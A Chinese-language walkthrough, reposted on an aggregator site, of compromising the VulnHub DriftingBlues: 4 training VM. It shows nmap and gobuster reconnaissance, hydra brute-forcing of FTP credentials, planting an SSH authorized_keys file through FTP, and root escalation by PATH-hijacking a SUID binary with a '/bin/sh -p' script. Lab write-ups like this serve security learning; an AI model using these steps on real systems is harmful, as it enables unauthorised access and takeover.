DriftingBlues: 4靶場滲透

DriftingBlues: 4

來自 <https://www.vulnhub.com/entry/driftingblues-4,661/>

?

1,將兩臺虛擬機網絡連接都改為NAT模式

2,攻擊機上做namp局域網掃描發現靶機

nmap -sn 192.168.23.0/24

那么攻擊機IP為192.168.23.128,靶場IP192.168.23.146

3,對靶機進行端口服務探測

nmap -sV -T4 -p- -A 192.168.23.146

?

4,先再看看ftp服務器能否匿名登錄

?

5,訪問80端口開設的http服務

存在一個登錄頁面,再掃描其子目錄看看

gobuster dir -u http://192.168.23.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

網頁源代碼存在一段字符串

四次base64解密得到一個路徑

http://192.168.23.146/imfuckingmad.txt

又是密文,解碼得到一個路徑:/iTiS3Cr3TbiTCh.png

是一個二維碼,鏈接https://i.imgur.com/a4JjS76.png,獲得一些用戶名

luther
gary
Hubert
clark

?

6,嘗試暴力破解FTP服務器賬戶密碼

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.23.146

?

得到一個用戶名密碼luther/mypics

?

7,成功登錄到ftp服務器

信息收集一下,得到一個文件

什么都沒有

?

8,注意到hubert文件夾的屬主id為1001,這代表可能是一個用戶家目錄。那么我就可以進行寫公鑰攻擊。首先kali創建ssh公私鑰

ssh-keygen

ls .ssh/?

cp .ssh/id_ed25519.pub authorized_keys?

然后再上傳這個authorized_keys到ftp服務器

mkdir hubert/.ssh

cd hubert/.ssh

put authorized_keys

在kali修改 SSH 私鑰為只讀權限,在嘗試登陸:

chmod 400 /root/.ssh/id_ed25519

ssh hubert@192.168.23.146 -i id_ed25519

?

9,登錄成功,信息收集一下拿到flag

尋找 suid 程序并嘗試命令劫持提權

find / -perm -u=s -type f 2>/dev/null

先運行看看這個不常見二進制文件是做什么的/usr/bin/getinfo

在 /tmp 建一個名為 ip 的腳本

cat > /tmp/ip <<'EOF'

#!/bin/sh

# PoC wrapper — 以特權方式得到交互式 shell

exec /bin/sh -p

EOF

chmod +x /tmp/ip

把 /tmp 放到 PATH 前面

export PATH=/tmp:$PATH

現在調用 getinfo(如果它調用 "ip" 而不是 "/sbin/ip" 等絕對路徑,會執行上面的腳本)

/usr/bin/getinfo

成功提權變成root用戶,得到flag

?

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/96442.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/96442.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/96442.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

GEO 優化專家孟慶濤以 AI 技術建體系,賦能多行業智能化轉型

在生成式 AI 重塑全球搜索生態的浪潮中&#xff0c;中國 GEO&#xff08;生成式引擎優化&#xff09;領域的開拓者孟慶濤以 "智能決策革命" 的技術框架&#xff0c;顛覆了傳統 "發發文章" 的簡單認知。作為遼寧粵穗網絡科技有限公司總經理兼 GEO 實驗室主任…

架構很簡單:從架構的角度學習源碼

緣起最近出差比較多&#xff0c;在路上思考&#xff1a;如何學習源碼&#xff1f;是的&#xff0c;面試官問你看了哪些源碼&#xff1f;講一講&#xff1f;更高級的&#xff1a;說一下&#xfeff;Netty黏包拆包怎么實現的&#xff1f;或者再問的偏一點&#xff1f;講一下某個功…

R的安裝與使用

工作與學習需要&#xff0c;對R需要有一定的熟悉&#xff0c;特此記錄 目錄R的安裝與使用R的安裝R的安裝與使用 R的安裝 1.找到R的官網&#xff0c;百度直接搜索&#xff0c;或者www.bing.com國際版搜索即可&#xff0c;下載R與Rstudio&#xff0c;Rstudio是R的開發集成工具 …

界面規范10-樹

字體字號和其他地方一致&#xff1a;.el-tree-node__label{font-size: $defaultTxtSize;font-family: $defaultFontFamily;}選中效果&#xff1a;.el-tree-node.is-current>.el-tree-node__content {background-color: #ffffff !important;color: #0000ff !important;font-w…

Win 11 ARM 版搭建ESP-IDF環境問題記錄

整理我在ARM版 WIN 11 上配置ESP-IDF 環境的記錄 WIN 11環境下搭建ESP-IDF 命令環境&#xff0c;有幾種辦法&#xff1a; 下載ESP-IDF 安裝程序 從https://dl.espressif.com/dl/esp-idf/ 下載安裝程序&#xff0c;下載的程序只能在AMD64位CPU上&#xff0c;不能在ARM 芯片上使用…

FreeBSD系統使用freebsd-update命令從14.2升級到14.3

FreeBSD系統使用freebsd-update命令從14.2升級到14.3 升級操作 先升級小版本命令 # 檢查系統漏洞補丁 sudo freebsd-update fetch sudo freebsd-update install再升級到14.3 sudo freebsd-update upgrade -r 14.3-RELEASE 速度很慢啊 執行install # freebsd-update inst…

一鍵拖動去除文件夾及文件名稱的空格

經常會碰見文件夾&#xff0c;以及其中文件命名有空格的情況&#xff1a;這些空格對有些代碼程序不友好&#xff0c;做了一個一鍵拖動去除文件名稱空格 只用把文件夾或者多個文件拖動到bat代碼上就可以一鍵搞定 分為兩個文件&#xff0c;需要放在一個目錄下&#xff1a; replac…

Roo Code:用自然語言編程的VS Code擴展

在編程的世界里&#xff0c;常常需要記憶各種復雜的命令和語法&#xff0c;與機器進行“對話”。但 如果使用Roo Code&#xff0c;就可以讓編程交流變得像日常對話一樣簡單自然。用自然語言“打字”交流 Roo Code的核心設計理念是理解自然語言。這意味著&#xff0c;無需掌握任…

window顯示驅動開發—視頻呈現網絡簡介

視頻呈現網絡 (VidPN) 管理器是 DirectX 圖形內核子系統 (Dxgkrnl.sys) 的組件&#xff0c;負責管理連接到顯示適配器的監視器和其他顯示設備的集合。 VidPN 經理的職責包括&#xff1a;響應熱插拔和拔下監視器。當連接的監視器集更改時&#xff0c;維護和更新一組可用的顯示模…

安卓13_ROM修改定制化-----打開攝像頭調用相機功能 實現無人直播

無人直播功能的實現而修改手機固件,讓打開攝像頭時默認啟動相機功能,需要理解安卓系統中攝像頭調用的流程 ,而相機應用是通過綁定該服務實現功能的。 通過博文了解?????? 1??????-----了解修改無人直播功能實現的核心原理 2??????-----修改rom 實現更改…

系統架構設計師——【2024年上半年案例題】真題模擬與解析(二)

系統架構設計師——【2024年上半年案例題】真題模擬與解析&#xff08;二&#xff09;試題三&#xff1a;微服務架構與緩存策略 題目背景&#xff1a; 某電商公司計劃將其單體架構的系統重構為微服務架構&#xff0c;以應對日益增長的業務復雜性和用戶并發請求。新系統劃分為用…

加固筆記本是什么意思?加固筆記本圖片

在現代信息化社會中&#xff0c;筆記本電腦已經成為人們學習、辦公和娛樂的必備工具。然而&#xff0c;我們常見的筆記本大多用于相對穩定、舒適的環境中&#xff0c;強調的是輕薄、便攜和性能。但在一些極端復雜的行業和場景中&#xff0c;普通筆記本往往難以勝任。比如沙漠勘…

CSS高級技巧---精靈圖、字體圖標、布局技巧

1、精靈圖1&#xff09;原理核心原理&#xff1a;將網頁中的一些小背景圖像整合到一張大圖中&#xff0c;這樣服務器只需要一次請求就可以了。精靈技術的目的&#xff1a;為了有效減少服務器接收和發送請求的次數&#xff0c;提高頁面的加載速度。2&#xff09;使用使用精靈圖核…

【CMake】環境變量

目錄 一.環境變量簡單介紹 1.1.示例1——設置與清除 1.2.示例2——全局唯一性和全局可見性 1.3.示例3 1.4.示例4 1.5.示例5 一.環境變量簡單介紹 什么是環境變量&#xff1f; 我們看看官網是怎么說環境變量的&#xff1a;cmake-language(7) — CMake 4.1.1 Documentation…

Mysql雜志(十四)——Mysql邏輯架構

Mysql邏輯架構 這個圖相信大家并不陌生&#xff0c;這個就是mysql的邏輯結構圖下面是主包讓AI生成的翻譯后的邏輯結構圖&#xff1a; 我們先來看看各個部分的作用是什么 第一層&#xff1a;客戶端連接層 (Client Layer) 這一層負責處理所有客戶端連接到服務器的請求。責任就…

Git 版本回退與撤銷修改

作為版本控制管理器&#xff0c;Git應當具備版本回退等一系列功能——它的應用場景也很常見&#xff0c;當你在工作區開發時&#xff0c;忽然發現&#xff1a;怎么我這版本寫的代碼還不如上一版本好&#xff1f;這時&#xff0c;版本回退功能就派上用場了。一.版本回退1.概覽首…

學習日記-JS+DOM-day54-9.12

1.javascript基本說明知識點核心內容重點JavaScript基礎控制HTML內容與屬性&#xff0c;實現動態行為&#xff08;如開燈/關燈效果&#xff09;src屬性路徑修正&#xff08;./與../的區別&#xff09;前端三要素HTML&#xff08;內容&#xff09;、CSS&#xff08;樣式&#xf…

使用tree命令導出文件夾/文件的目錄樹( Windows 和 macOS)

你可以在終端&#xff08;命令提示符&#xff09;中使用 tree 命令來清晰直觀地查看和導出文件夾的目錄結構。下面我會詳細告訴你如何在 Windows 和 macOS 上使用它。 &#x1f5a5;? tree 命令基本用法 tree 命令的核心作用是以樹狀圖的形式展示指定路徑下的目錄和文件結構。…

GrapeCity Documents V8.0 Update2 重磅發布:性能飛躍、AI 賦能與文檔處理全流程升級

作為葡萄城旗下服務端文檔組件庫&#xff0c;GrapeCity Documents&#xff08;簡稱"GcDocs"&#xff09;憑借跨平臺、高兼容的優勢&#xff0c;已成為 眾多開發者構建文檔生成、編輯、轉換與管理系統的首選。 近日&#xff0c;GcDocs 迎來 V8.0 Update2 版本更新&am…

水質在線監測系統御控物聯網解決方案

一、行業背景與需求痛點水質安全是飲用水供應、工業生產、生態保護的核心要素。隨著《水污染防治行動計劃》的深入實施&#xff0c;傳統水質監測方式面臨三大挑戰&#xff1a;時效性不足&#xff1a;人工采樣-實驗室分析周期長達24-72小時&#xff0c;難以實時捕捉污染事件&…